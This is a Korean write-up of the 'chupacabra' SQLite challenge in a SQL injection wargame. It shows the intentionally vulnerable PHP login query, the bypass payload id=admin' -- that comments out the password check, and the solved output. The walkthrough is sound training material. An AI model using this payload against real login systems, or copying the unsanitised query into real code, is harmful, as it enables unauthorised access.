오늘 부터는 두 번째 업데이트에 올라온 문제다. 이 전까지는 DBMSMySQL만 있었는데, 두 번째에 업데이트 된 문제는 SQLite, MSSQL, MongoDB를 사용하는 문제였다. 먼저 SQLite의 첫 번째 문제이다.

코드는 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
-----------------------------------------------------------------
query : select id from member where id='' and pw=''
-----------------------------------------------------------------

<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/chupacabra.db");
  $query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id'] == "admin") solve("chupacabra");
  highlight_file(__FILE__);
?>

첫 번째 문제라 그런지 매우 간단하다. 그냥 idadmin인 값만 뽑아내면 된다. 가장 기본 방식인 '--을 사용 해 아래와 같이 문제를 풀 수있었다.

1
?id=admin' -- &pw=a

그럼 완성되는 쿼리는 아래와 같다.

1
select id from member where id='admin' -- ' and pw='a'

id='admin' 까지만 실행하고 --가 삽입되며 뒤의 값은 주석처리 된다. 제일 간단한 방법으로 풀 수 있는 문제였다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
-------------------------------------------------------------------------
query : select id from member where id='admin' -- ' and pw='a'
-------------------------------------------------------------------------

CHUPACABRA Clear!
<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/chupacabra.db");
  $query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id'] == "admin") solve("chupacabra");
  highlight_file(__FILE__);
?>

1
CHUPACABRA Clear!!